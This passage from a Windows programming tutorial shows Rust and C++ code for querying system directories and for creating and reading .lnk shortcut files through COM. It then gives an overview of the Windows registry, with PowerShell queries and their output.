    fn GetSystemDirectoryA(buffer: LPSTR, size: UINT) -> UINT; 
    fn GetSystemWow64DirectoryA(buffer: LPSTR, size: UINT) -> UINT; 
}

type Callback1 = unsafe extern "C" fn(buffer: LPSTR, size: UINT) -> UINT;

fn wrap_function(callback: Callback1) -> String
{
    let mut buffer2: [u8; 400] = [0; 400];
    let mut nread: UINT = 0;
    unsafe {
        nread = callback(buffer2.as_mut_ptr(), buffer2.len() as UINT); 
    }
    let s = std::str::from_utf8(&buffer2[..(nread as usize)]).unwrap();
    return s.to_string();
}

Building

$ rustc sysinfo.rs 

Analyzing the PE32 executable binary file

$ where ldd
C:\Users\User_001\scoop\apps\git\current\usr\bin\ldd.exe

$ where file
C:\Users\User_001\scoop\apps\git\current\usr\bin\file.exe

$ file sysinfo.exe
sysinfo.exe: PE32+ executable (console) x86-64, for MS Windows

$ du -h sysinfo.exe
172K    sysinfo.exe

$ ldd sysinfo.exe
        ntdll.dll => /c/WINDOWS/SYSTEM32/ntdll.dll (0x7ffe52eb0000)
        KERNEL32.DLL => /c/WINDOWS/System32/KERNEL32.DLL (0x7ffe510c0000)
        KERNELBASE.dll => /c/WINDOWS/System32/KERNELBASE.dll (0x7ffe50b30000)
        SHELL32.dll => /c/WINDOWS/System32/SHELL32.dll (0x7ffe51ac0000)
        msvcp_win.dll => /c/WINDOWS/System32/msvcp_win.dll (0x7ffe50720000)
        ucrtbase.dll => /c/WINDOWS/System32/ucrtbase.dll (0x7ffe505f0000)
        USER32.dll => /c/WINDOWS/System32/USER32.dll (0x7ffe51920000)
        win32u.dll => /c/WINDOWS/System32/win32u.dll (0x7ffe50870000)
        GDI32.dll => /c/WINDOWS/System32/GDI32.dll (0x7ffe515c0000)
        gdi32full.dll => /c/WINDOWS/System32/gdi32full.dll (0x7ffe50e00000)
        VCRUNTIME140.dll => /c/WINDOWS/SYSTEM32/VCRUNTIME140.dll (0x7ffe49e30000)

Running

$ .\sysinfo.exe

 [INFO] Windows System Directory Path[2] = "C:\\WINDOWS"
 [INFO] Windows System Directory Path[1] = C:\WINDOWS
 [INFO] Windows Directory = C:\WINDOWS\system32
 [INFO] Windows Wow64 Directory = C:\WINDOWS\SysWOW64

 ==========================================
 [INFO] Profiles path      = C:\Users\User_001
 [INFO] AppData path       = C:\Users\User_001\AppData\Roaming
 [INFO] LocalAppData path  = C:\Users\User_001\AppData\Local
 [INFO] Start menu path    = C:\Users\User_001\AppData\Roaming\Microsoft\Windows\Start Menu
 [INFO] Desktop path       = C:\Users\User_001\Desktop
 [INFO] Admin Tools Path   = C:\Users\User_001\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Administrative Tools
 [INFO] Favorite path      = C:\Users\User_001\Favorites
 [INFO] Startup path       = C:\Users\User_001\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
 [INFO] Recent folder path = C:\Users\User_001\AppData\Roaming\Microsoft\Windows\Recent
 [INFO] Sendto path        = C:\Users\User_001\AppData\Roaming\Microsoft\Windows\SendTo
 [INFO] Program path       = C:\Program Files
 [INFO] Windows path       = C:\WINDOWS
 [INFO] System path        = C:\WINDOWS\system32
 [INFO] Fonts folder       = C:\WINDOWS\Fonts
 [INFO] System 86 path     = C:\WINDOWS\SysWOW64
 [INFO] Progrm Files x86   = C:\Program Files (x86)

1.13 Windows Shortcut - LNK

1.13.1 Overview

The following code snippet creates several Windows shortcuts, also known as Windows Shell Link (*.lnk files), which are similar to Unix's symbolic links and Free-Desktop .desktop (FreeDesktop standard) launchers used on X11. Shell link files allows creating launchers to executable and directories. Unlike the X11 Free-Desktop standard *.desktop files, which are text files, the Windows shell link files are structured binary files, as a result, they only can be viewed by using Windows facilities or by using a hexadecimal editor.

Documentation

  • Shell Links
  • IUnknown COM Interface (header: unknown.h)
    • Brief: "Enables clients to get pointers to other interfaces on a given object through the QueryInterface method, and manage the existence of the object through the AddRef and Release methods. All other COM interfaces are inherited, directly or indirectly, from IUnknown. Therefore, the three methods in IUnknown are the first entries in the vtable for every interface."
  • IShellLinkA COM Interface (header: shobjidl_core.h)
    • Brief: "Exposes methods that create, modify, and resolve Shell links."
  • IPersist COM Interface (header: objidl.h)
    • Brief: "Provides the CLSID of an object that can be stored persistently in the system. Allows the object to specify which object handler to use in the client process, as it is used in the default implementation of marshaling."
  • CoCreateInstance()
    • Brief: "Creates and default-initializes a single object of the class associated with a specified CLSID."
  • Creating an Object in COM

Windows Shortcut Binary Format Specification:

X11 Free Desktop Shortcut Specification (for comparison)

1.13.2 Creating shell link

This sample application instantiates an object of COM (Component Object Model) class ShellLink and obtains the two interface pointers to the object, IShellLinkA and IPersistFile for creating Windows shell links, LNK shortcut files.

Files

File: winshortcut.cpp

#include <iostream>
#include <string>
#include <cassert>

#define INITGUID      // Necessary for MINGW
#include <windows.h>

#include <shlobj.h>
#include <shobjidl.h>
#include <shlguid.h>
#include <comdef.h>
#include <comdefsp.h>


// Get environment variable
std::string get_envvar(std::string const& name);

// Create Windows Shortcut (aka shell Link - LNK File)
BOOL createWindowsShortcut(  std::string const& fileName
                           , std::string const& arguments
                           , std::string const& path
                           , std::string const& title);

int main()
{
  const auto homedir= get_envvar("USERPROFILE");
  const auto desktop_dir = homedir + "\\Desktop";
  std::fprintf(stderr, " [TRACE] Desktop dir = %s \n", desktop_dir.c_str());

  // Create shortcut to Notepad.exe at user's Desktop directory.
  createWindowsShortcut( // Executable or command that the shortcut will launch.
                          "notepad.exe"
                         // Arguments used by Notepad.exe
                         , ""
                         // Absolute path to where the shortcut will be created.
                         , desktop_dir + "\\Notepad.lnk"
                         , "Shortcut for notepad.exe"
                         );

  // Create shortcut for the DxDiag.exe utility
  createWindowsShortcut( // Executable or command that the shortcut will launch.
                          "dxdiag"
                         , ""
                         // Absolute path to where the shortcut will be created.
                         , desktop_dir + "\\DxDiagTool.lnk"
                         , "Shortcut for DirectX and OpenGL diagnosing tool."
                         );

  // Create shortcut to user's home directory
  createWindowsShortcut(   homedir
                         , ""
                         , desktop_dir + "\\HomeDirectory.lnk"
                         , "Shortcut for my documents"
                         );

  // Create shortcut to Device Manager for viewing user hardware settings.
  createWindowsShortcut(  "RunDll32.exe"
                         , "devmgr.dll DeviceManager_Execute"
                         , desktop_dir + "\\Device_Manager.lnk"
                         , "Shortcut for device manager."
                         );

  // Create shortcut for starting Notepad.exe automatically after reboot.
  createWindowsShortcut(  "notepad.exe"
                        , ""
                        , homedir + "\\Start Menu\\Programs\\Startup\\MyNotepad.lnk"
                        , "Notepad.exe tools"
                        );

  std::fprintf(stderr, " [TRACE] Application terminated Ok. \n");
  return 0;
}

    // ==== I M P L E M E N T A T I O N S ============== //

std::string
get_envvar(std::string const& name)
{
     const char* p = std::getenv(name.c_str());
     if( p == nullptr){ return ""; }
     return p;
}


BOOL createWindowsShortcut(
              // Executable or command launched by the Windows shortcut
               std::string const& filePath_
              // Arguments used by the executable
              , std::string const& args_
              // Absolute path to where the shortcut file will be created.
              // Note: This path must include the extenion .lnk, for instance
              // this argument could be: "C:\\Users\\MyUser\\Desktop\\Notepad.exe"
              , std::string const& path_
              // Title or description of the shortcut file.
              , std::string const& title_
            )
{

  const char* fileName = filePath_.c_str();
  const char* args     = args_.c_str();
  const char* path     = path_.c_str();
  const char* title    = title_.c_str();

  std::fprintf(stderr, "\n [TRACE] Creating shortcut for command = '%s' \n", fileName);
  std::fprintf(stderr, " [TRACE] Creating shortcut as file = '%s' \n", path);

  // Intialize COM
  CoInitializeEx( NULL, 0 );

  // Pointer to COM interface
  IShellLink* ptr_com = nullptr;

  HRESULT hres = CoCreateInstance(
                        // CLSID =>> Unique universal identifier for Shell Link class
                        // The class is the concrete implememntation of a COM Interface
                        // (COM - Component Object Model)
                           CLSID_ShellLink
                         , NULL
                         // This constant 'CLSCTX_INPROC_SERVER' means that the
                         // COM server is in-process,in other words, the COM server
                         // is provide by a DLL (Dynamic Linked Library)
                         , CLSCTX_INPROC_SERVER
                         // IID (Interface Identifier) => Unique universal identifier (GUID)
                         // for the COM interface that the COM class conforms to.
                         , IID_IShellLink
                         // void** => [OUTPUT] Parameter that returns pointer to COM
                         // Interface
                         , reinterpret_cast<LPVOID*>(&ptr_com)
                       );

  if( !SUCCEEDED(hres) ){ return FALSE; }
  assert( ptr_com != nullptr );

  IPersistFile* ptr_com2 = nullptr;

  // Query comp object pointed by ptr_com and check whether
  // it implements the interface IPersistFile. If the query is
  // successful, the pointer ptr_com2 will be not NULL.
  // LPVOID = void**
  hres = ptr_com->QueryInterface(IID_IPersistFile, (void**) &ptr_com2);
  if( !SUCCEEDED(hres) ){ return FALSE; }
  assert( ptr_com2 != nullptr );

  ptr_com->SetPath(fileName);
  ptr_com->SetDescription(title);

  if(args_ != ""){ ptr_com->SetArguments(args); }

  WCHAR out_path[MAX_PATH];
  // Change string to Unicode
  MultiByteToWideChar(CP_ACP, 0, path, -1, out_path, MAX_PATH);

  // Save Windows shortcut
  ptr_com2->Save(out_path, TRUE);

  // Release COM interface pointers
  ptr_com2->Release();
  ptr_com->Release();

  CoUninitialize();

  return TRUE;
}

Building with Mingw

$ g++ winshortcut.cpp -o winshortcut-mingw.exe -std=c++1z -lole32 -loleaut32 -Wall -Wextra -g

Building with MSVC CL.exe

$ cl.exe winshortcut.cpp
Microsoft (R) C/C++ Optimizing Compiler Version 19.28.29335 for x64
Copyright (C) Microsoft Corporation.  All rights reserved.

winshortcut.cpp
Microsoft (R) Incremental Linker Version 14.28.29335.0
Copyright (C) Microsoft Corporation.  All rights reserved.

/out:winshortcut.exe
winshortcut.obj

Analyse the files with 'file' Linux tool from GIT

$ file winshortcut.exe
winshortcut.exe: PE32+ executable (console) x86-64, for MS Windows

$ file winshortcut-mingw.exe
winshortcut-mingw.exe: PE32+ executable (console) x86-64, for MS Windows

$ file winshortcut.obj
winshortcut.obj: Intel amd64 COFF object file, not stripped, 881 sections, symbol offset=0x106a9, 2772 symbols

Run application for creating Windows shortcuts

  • After the application is run, the shortcuts can be executed either from command line or by clicking at them at the Desktop directory.
$ .\winshortcut.exe
[TRACE] Desktop dir = C:\Users\user_001\Desktop

[TRACE] Creating shortcut for command = 'notepad.exe'
[TRACE] Creating shortcut as file = 'C:\Users\user_001\Desktop\Notepad.lnk'

[TRACE] Creating shortcut for command = 'dxdiag'
[TRACE] Creating shortcut as file = 'C:\Users\user_001\Desktop\DxDiagTool.lnk'

[TRACE] Creating shortcut for command = 'C:\Users\user_001'
[TRACE] Creating shortcut as file = 'C:\Users\user_001\Desktop\HomeDirectory.lnk'

[TRACE] Creating shortcut for command = 'RunDll32.exe'
[TRACE] Creating shortcut as file = 'C:\Users\user_001\Desktop\Device_Manager.lnk'

[TRACE] Creating shortcut for command = 'notepad.exe'
[TRACE] Creating shortcut as file = 'C:\Users\user_001\Start Menu\Programs\Startup\MyNotepad.lnk'
[TRACE] Application terminated Ok.

Run shortcuts from command line

List all shortcut files at Desktop directory:

$ ls %USERPROFILE%/Desktop/*.lnk
'C:\Users\user_001/Desktop/CodeBlocks.lnk'*
'C:\Users\user_001/Desktop/Device_Manager.lnk'*
'C:\Users\user_001/Desktop/DxDiagTool.lnk'*
'C:\Users\user_001/Desktop/HomeDirectory.lnk'*
'C:\Users\user_001/Desktop/Notepad.lnk'*

View shortcut files:

$ file Notepad.lnk
Notepad.lnk: MS Windows shortcut, Item id list present
, Has Description string, Has Relative path
, ctime=Mon Jan  1 08:00:00 1601
, mtime=Mon Jan  1 08:00:00 1601, atime=Mon Jan
1 08:00:00 1601, length=0, window=hide


$ file DxDiagTool.lnk
DxDiagTool.lnk: MS Windows shortcut, Item id list present,
Has Description string, Has Relative path, ctime=Mon Jan
1 08:00:00 1601, mtime=Mon Jan  1 08:00:00 1601,
atime=Mon Jan  1 08:00:00 1601, length=0, window=hide

Run shortcut from command line:

# Run shortcut lnk that launches Notepad.exe
$ .\\Notepad.lnk

# Run shortcut lnk that launches DxDiagTool.lnk
$ .\DxDiagTool.lnk

# Run shortcutr that opens the directory C:\\Users\user_001 (%USERPROFILE%) directory
$ HomeDirectory.lnk

1.13.3 Reading shell link

This application prints information about Windows shell link files LNK (extension .lnk). It displays the path to shell link file, the command line arguments passed to the executable, the working directory and the icon path.

Files:

File: lnkdump.cpp

#include <iostream>
#include <string>
#include <cassert>

#define INITGUID      // Necessary for MINGW
#include <windows.h>

#include <shlobj.h>
#include <shobjidl.h>
#include <shlguid.h>
#include <comdef.h>
#include <comdefsp.h>

std::string guid_to_string(GUID g);

int main(int argc, char** argv)
{
  if(argc < 2)
  {
    std::fprintf( stderr
                 , "\n Read Windows shell link shortcut files LNK (*.lnk extension) "
                   "\n Usage: "
                   "\n  $ lnkdump <SHELL-LINK-FILE> "
                );

    return EXIT_FAILURE;
  }

  std::string file = argv[1];

  // Display UUID of COM interfaces and classes 
  if( file == "guid" ) 
  {
    std::fprintf( stderr, " [INFO] (class)       CLSID_ShellLink = %s \n"
                  , guid_to_string(CLSID_ShellLink).c_str() );
    std::fprintf( stderr, " [INFO] (interface)      IID_IUnknown = %s  \n"
                , guid_to_string(IID_IUnknown).c_str());
    std::fprintf( stderr, " [INFO] (interface)     IID_IDispatch = %s  \n"
                , guid_to_string(IID_IDispatch).c_str());
    std::fprintf( stderr, " [INFO] (interface)    IID_IShellLink = %s  \n"
                , guid_to_string(IID_IShellLink).c_str());
    std::fprintf( stderr, " [INFO] (interface)  IID_IPersistFile = %s  \n"
                  , guid_to_string(IID_IPersistFile).c_str());

    return EXIT_SUCCESS;
  }

  // Intialize COM
  CoInitializeEx( NULL, 0 );

  // Pointer to COM interface
  IShellLinkA* ptr_com = nullptr;

  HRESULT hres = CoCreateInstance(
                           CLSID_ShellLink
                         , NULL
                         , CLSCTX_INPROC_SERVER
                         , IID_IShellLink
                         , reinterpret_cast<void**>(&ptr_com)
                       );

  if( !SUCCEEDED(hres) ){ return FALSE; }
  assert( ptr_com != nullptr );

  // Pointer to IPersisteFile => Not allocated by the caller.
  IPersistFile* ptr_com2;

  // Retrieve interface from COM object
  hres = ptr_com->QueryInterface( IID_IPersistFile, (void**) &ptr_com2);
  assert( SUCCEEDED(hres) );
  assert( ptr_com2 != nullptr );

  WCHAR fpath_wchar[MAX_PATH];
  // Convert to UTF16 unicode wide character
  MultiByteToWideChar(CP_ACP, 0, file.c_str(), -1, fpath_wchar, MAX_PATH);

  hres = ptr_com2->Load(fpath_wchar, STGM_READ);
  assert( SUCCEEDED(hres) && "Failed to read shortcut" );

  // Resolve shell link
  hres = ptr_com->Resolve(nullptr, 0);
  assert( SUCCEEDED(hres) && "Failed to resolve shell link" );

  // ===== Read shortcut LNK data ======================///

  std::string path, arguments, description, directory, icon;

  char buffer[MAX_PATH];

  // Get shortcut description
  hres = ptr_com->GetDescription(buffer, MAX_PATH);
  if( !SUCCEEDED(hres) ){ std::fprintf(stderr, " [WARN] Failed to get description \n" ); }
  description  = buffer;

  // Get path to shell link target, application called by the
  // shell link.
  WIN32_FIND_DATA wfd;
  hres = ptr_com->GetPath( buffer
                         , MAX_PATH
                         , reinterpret_cast<WIN32_FIND_DATA*>(&wfd)
                         , SLGP_SHORTPATH
                         );
  assert( SUCCEEDED(hres) );
  path = buffer;

  // Get working directory of shell link
  hres = ptr_com->GetWorkingDirectory(buffer, MAX_PATH);
  assert( SUCCEEDED(hres) );
  directory = buffer;

  // Get working directory of shell link
  hres = ptr_com->GetArguments(buffer, MAX_PATH);
  assert( SUCCEEDED(hres) );
  arguments = buffer;

  // Get Icon location
  int n = 0;
  hres = ptr_com->GetIconLocation(buffer, MAX_PATH, &n);
  assert( SUCCEEDED(hres) );
  icon = buffer;

  // Get hotkey
  WORD Hotkey = 0;
  hres = ptr_com->GetHotkey(&Hotkey);
  assert( SUCCEEDED(hres) );

  std::cout << " [*]          Path  = " <<  path        << '\n';
  std::cout << " [*]      Arguments = " <<  arguments   << '\n';
  std::cout << " [*]    Description = " <<  description << '\n';
  std::cout << " [*]   Working dir  = " <<  directory   << '\n';
  std::cout << " [*]           Icon = " <<  icon        << '\n';
  std::cout << " [*]         Hotkey = " <<  Hotkey      << '\n';

  // Release COM interface pointers
  ptr_com->Release();
  ptr_com2->Release();

  // Shutdown COM
  CoUninitialize();

  return EXIT_SUCCESS;

} // ------ End of main -----------//

   // ================================//


// Print GUID (Global Unique Identifier)
//or UUID (Universal Unique Identifier)
std::string 
guid_to_string(GUID g)
{
  constexpr size_t size = 300;
  char buffer[size];
  memset(buffer, '\0' ,size);

  snprintf( buffer, size
            , "{%08lX-%04hX-%04hX-%02hhX%02hhX-%02hhX%02hhX%02hhX%02hhX%02hhX%02hhX}"
            , g.Data1, g.Data2, g.Data3
            , g.Data4[0], g.Data4[1], g.Data4[2], g.Data4[3]
            , g.Data4[4], g.Data4[5], g.Data4[6], g.Data4[7]);

   std::string out = buffer;
   return out;
}

Building:

$ g++ lnkdump.cpp -o lnkdump.exe -lole32 -loleaut32 -lcomctl32 -luuid -std=c++1z -Wall -Wextra -g

Running

Show help:

$ lnkdump.exe

 Read Windows shell link shortcut files LNK (*.lnk extension)
 Usage:
  $ lnkdump <SHELL-LINK-FILE>

Display the GUID (Global Unique Identifier) of COM interfaces and classes:

$ lnkdump.exe  guid
 [INFO] (class)       CLSID_ShellLink = {00021401-0000-0000-C000-000000000046}
 [INFO] (interface)      IID_IUnknown = {00000000-0000-0000-C000-000000000046}
 [INFO] (interface)     IID_IDispatch = {00020400-0000-0000-C000-000000000046}
 [INFO] (interface)    IID_IShellLink = {000214EE-0000-0000-C000-000000000046}
 [INFO] (interface)  IID_IPersistFile = {0000010B-0000-0000-C000-000000000046}

Inspect LNK (Windows shortcut) files:

$ lnkdump.exe  "x64 Native Tools Command Prompt for VS 2019.lnk"
 [*]          Path  = C:\Windows\System32\cmd.exe
 [*]      Arguments = /k "C:\Program Files (x86)\Microsoft Visual Studio\2019\BuildTools\VC\Auxiliary\Build\vcvars64.bat"
 [*]    Description = Open Visual Studio 2019 Tools Command Prompt for targeting x64
 [*]   Working dir  = C:\Program Files (x86)\Microsoft Visual Studio\2019\BuildTools\
 [*]           Icon =
 [*]         Hotkey = 0


$ lnkdump.exe "Windows PowerShell (x86).lnk"
 [*]          Path  = C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
 [*]      Arguments =
 [*]    Description = Performs object-based (command-line) functions
 [*]   Working dir  = %HOMEDRIVE%%HOMEPATH%
 [*]           Icon = %SystemRoot%\syswow64\WindowsPowerShell\v1.0\powershell.exe
 [*]         Hotkey = 0


$ lnkdump.exe "Windows PowerShell ISE.lnk"
 [*]          Path  = C:\Windows\system32\WindowsPowerShell\v1.0\PowerShell_ISE.exe
 [*]      Arguments =
 [*]    Description = Windows PowerShell Integrated Scripting Environment. Performs object-based (command-line) functions
 [*]   Working dir  = %HOMEDRIVE%%HOMEPATH%
 [*]           Icon = %SystemRoot%\system32\WindowsPowerShell\v1.0\powershell_ise.exe
 [*]         Hotkey = 0


$ lnkdump.exe Device_Manager.lnk
 [*]          Path  = C:\WINDOWS\system32\RunDll32.exe
 [*]      Arguments = devmgr.dll DeviceManager_Execute
 [*]    Description = Shortcut for device manager.
 [*]   Working dir  =
 [*]           Icon =
 [*]         Hotkey = 0

$ lnkdump.exe "Print Management.lnk"
 [*]          Path  = C:\WINDOWS\system32\printmanagement.msc
 [*]      Arguments =
 [*]    Description = Manages local printers and remote print servers.
 [*]   Working dir  =
 [*]           Icon = %systemroot%\system32\pmcsnap.dll
 [*]         Hotkey = 0

$ lnkdump.exe  "Component Services.lnk"
 [*]          Path  = C:\WINDOWS\system32\comexp.msc
 [*]      Arguments =
 [*]    Description = Manage COM+ applications, COM and DCOM system configuration, and the Distributed Transaction Coordinator.
 [*]   Working dir  =
 [*]           Icon = %systemroot%\system32\comres.dll
 [*]         Hotkey = 0

Find COM In-process Server (DLL - shared library) that provides the COM class CLSID_ShellLink by using Powershell on the Visual Studio developer's prompt.

$ powershell
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.

Try the new cross-platform PowerShell https://aka.ms/pscore6

PS C:\> Get-ChildItem Registry::"HKCR\CLSID\{00021401-0000-0000-C000-000000000046}"


    Hive: HKCR\CLSID\{00021401-0000-0000-C000-000000000046}


Name                           Property
----                           --------
Implemented Categories
InProcServer32                 (default)      : C:\Windows\System32\windows.storage.dll
                               ThreadingModel : Both
OverrideFileSystemProperties   System.Kind : 1
ProgID                         (default) : lnkfile
shellex

View DLL symbols:

PS C:\> dumpbin.exe /exports C:\Windows\System32\windows.storage.dll
Microsoft (R) COFF/PE Dumper Version 14.28.29335.0
Copyright (C) Microsoft Corporation.  All rights reserved.


Dump of file C:\Windows\System32\windows.storage.dll

File Type: DLL

  Section contains the following exports for Windows.Storage.dll

    00000000 characteristics
    1FA0233D time date stamp
        0.00 version
           2 ordinal base
        2008 number of functions
         242 number of names

    ordinal hint RVA      name

          8    0 000651D0 AssocCreateForClasses
  ...   ...   ...   ...   ...   ...   ...   ...   ...   ... 
  ...   ...   ...   ...   ...   ...   ...   ...   ...   ... 

         46   28 0018BF80 DllCanUnloadNow                # <=== Functions that 
         47   29 00184BA0 DllGetActivationFactory        # must be implemented by a COM server.
         48   2A 000C6FE0 DllGetClassObject
         49   2B 001C1A30 DllMain
         50   2C 001AEFB0 DllRegisterServer
         51   2D 001AEFB0 DllUnregisterServer
   ... ...... ..... ....   ... ...... ..... ....   ... ...... ..... .... 
  ... ...... ..... ....   ... ...... ..... ....   ... ...... ..... .... 

  Summary

        9000 .data
        3000 .didat
       52000 .pdata
      184000 .rdata
       1F000 .reloc
        4000 .rsrc
      58A000 .text

1.14 Windows Registry

1.14.1 Overview

The Windows registry is a tree-like database used by the operating system and by other applications for storing system configurations and user-specific settings. The data is stored as a tree data structure, where each child node is a key and each key may have zero or more value, which a entry comprised of a label and value.

Documentation of Windows Registry APIs

  • About the registry
  • Structure of the Registry
  • Predefined Keys
  • Function: RegOpenKeyExA()
    • Brief: "Opens the specified registry key. Note that key names are not case sensitive."
  • Function: RegOpenKeyExW()
    • Brief: "Opens the specified registry key. Note that key names are not case sensitive."
  • Function: RegEnumKeyA()
    • Brief: "Enumerates the subkeys of the specified open registry key. The function retrieves the name of one subkey each time it is called."
  • Function: RegEnumKeyExA()
    • Brief: "Enumerates the subkeys of the specified open registry key. The function retrieves information about one subkey each time it is called."
  • Function: RegEnumKeyExW()
    • Brief: "Enumerates the subkeys of the specified open registry key. The function retrieves information about one subkey each time it is called."
  • Function: RegGetValueA()
    • Brief: "Retrieves the type and data for the specified registry value."
  • Function: RegGetValueW()
    • Brief: "Retrieves the type and data for the specified registry value."
  • Function: RegQueryValueA()
    • Brief: "Retrieves the data associated with the default or unnamed value of a specified registry key. The data must be a null-terminated string."

1.14.2 Notable Registry Locations

  • Root Keys
    • HKLM or HKEY_LOCAL_MACHINE
    • HKCR or HKEY_CLASSES_ROOT
    • HKCU or HKEY_CURRENT_USER
    • HKCC or HKEY_CURRENT_CONFIG
  • HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\hivelist
    • Lists all paths to files where Windows registry data are stored.
  • HKEY_CLASSES_ROOT\CLSID
    • Contains all registered COM (Component Object Model) class ID as subkeys, where each subkey is a GUID (Universal Unique Identifier), a 128-bit unique random number encoded as hexadecimal.
    • Example: The COM In-process server (C:\Windows\System32\oleaut32.dll) has the CLSID - 0000002F-0000-0000-C000-000000000046 and the registry key: HKEY_CLASSES_ROOT\CLSID\{0000002F-0000-0000-C000-000000000046}.
  • HKEY_CLASSES_ROOT\Interface
    • Contains all COM interfaces registered in the systems. Each subkey is the interface IID (GUID - global unique identifier).
  • HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\\Advancede
    • Windows Explorer settings.
  • HKEY_LOCAL_MACHINE\SYSTEM\\CurrentControlSet\Services
    • Subkeys are services that launched at system startup time after reboot.
  • HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion
    • The entries (values) in this key, contains information about the current Windows Version:
      • Value: EditionID => (example: Professional)
      • Value: ProductName => (example: Windows 10 Pro)
      • Value: RegisteredOwner
      • Value: CurrentBuild
      • Value: BuildLab (example: 1941.vb_release.191206-1406)
  • HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths
    • Every subkey entry is an application that can be launched without specifying the full from Windows-Key + R box or from terminal.
  • HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Environment
    • System-wide environment variables (defined for all users).
  • HKEY_CURRENT_USER\Environment
    • User-specific environment variables.
  • HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs

Windows Registry Files

The Windows registry data can be stored in several files in the system. Some of those files are:

  • Directory: %SystemRoot%\System32\config
  • File: %UserProfile%\Ntuser.dat
  • FIle: %UserProfile%\Local Settings\Application Data\Microsoft\Windows\UsrClass.dat

List all files where Windows registry data are stored using PowerShell.

$ ItemProperty Registry::HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\hivelist

\REGISTRY\MACHINE\HARDWARE                                           :
\REGISTRY\MACHINE\SYSTEM                                             : \Device\HarddiskVolume2\Windows\System32\config\SYSTEM
\REGISTRY\MACHINE\BCD00000000                                        : \Device\HarddiskVolume1\Boot\BCD
\REGISTRY\MACHINE\SOFTWARE                                           : \Device\HarddiskVolume2\Windows\System32\config\SOFTWARE
\REGISTRY\USER\.DEFAULT                                              : \Device\HarddiskVolume2\Windows\System32\config\DEFAULT
\REGISTRY\MACHINE\SECURITY                                           : \Device\HarddiskVolume2\Windows\System32\config\SECURITY
\REGISTRY\MACHINE\SAM                                                : \Device\HarddiskVolume2\Windows\System32\config\SAM
\REGISTRY\USER\S-1-5-20                                              : \Device\HarddiskVolume2\Windows\ServiceProfiles\NetworkService\NTUSER.DAT
\REGISTRY\USER\S-1-5-19                                              : \Device\HarddiskVolume2\Windows\ServiceProfiles\LocalService\NTUSER.DAT
\REGISTRY\USER\S-1-5-21-795742887-3693175558-2200833936-1001         : \Device\HarddiskVolume2\Users\User_001\NTUSER.DAT
\REGISTRY\USER\S-1-5-21-795742887-3693175558-2200833936-1001_Classes : \Device\HarddiskVolume2\Users\User_001\AppData\Local\Microsoft\Windows\usrClass.dat
PSPath                                                               : Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\hivelist
PSParentPath                                                         : Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control
PSChildName                                                          : hivelist
PSProvider                                                           : Microsoft.PowerShell.Core\Registry

Query system-wide environment variables from registry:

PS C:\> ItemProperty Registry::"HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Environment"


ComSpec                : C:\WINDOWS\system32\cmd.exe
DriverData             : C:\Windows\System32\Drivers\DriverData
OS                     : Windows_NT
PATHEXT                : .COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC
PROCESSOR_ARCHITECTURE : AMD64
PSModulePath           : C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules
TEMP                   : C:\WINDOWS\TEMP
TMP                    : C:\WINDOWS\TEMP
USERNAME               : SYSTEM
windir                 : C:\WINDOWS
Path                   : C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\WINDOWS\System32\OpenSSH\;C:\Pr
                         ogram Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\D\dmd2\windows\bin
ChocolateyInstall      : C:\ProgramData\chocolatey
NUMBER_OF_PROCESSORS   : 2
PROCESSOR_LEVEL        : 6
PROCESSOR_IDENTIFIER   : Intel64 Family 6 Model 23 Stepping 3, GenuineIntel
PROCESSOR_REVISION     : 1703
PSPath                 : Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Environment
PSParentPath           : Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager
PSChildName            : Environment
PSProvider             : Microsoft.PowerShell.Core\Registry

Query user-specific environment variables from registry:

$ powershell.exe
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.

Try the new cross-platform PowerShell https://aka.ms/pscore6

PS C:\> ItemProperty Registry::"HKEY_CURRENT_USER\Environment"


TEMP                     : C:\Users\User_001\AppData\Local\Temp
TMP                      : C:\Users\User_001\AppData\Local\Temp
Path                     : C:\Users\User_001\.cargo\bin;C:\Users\User_001\scoop\apps\gcc\current\bin;... .... 
                           ps
OneDrive                 : C:\Users\User_001\OneDrive
GIT_INSTALL_ROOT         : C:\Users\User_001\scoop\apps\git\current
CMDER_ROOT               : C:\Users\User_001\scoop\apps\cmder\current
ConEmuDir                : C:\Users\User_001\scoop\apps\cmder\current\vendor\conemu-maximus5
ChocolateyLastPathUpdate : 132545935735602224
PSPath                   : Microsoft.PowerShell.Core\Registry::HKEY_CURRENT_USER\Environment
PSParentPath             : Microsoft.PowerShell.Core\Registry::HKEY_CURRENT_USER
PSChildName              : Environment
PSProvider               : Microsoft.PowerShell.Core\Registry

List all subkeys from the key App Paths" which are applications that can be launched without providing full path from Windows-Key+R box or from terminal:

PS C:\> Get-ChildItem -Path Registry::"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths"


    Hive: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths


Name                           Property
----                           --------
cmmgr32.exe                    CmNative          : 2
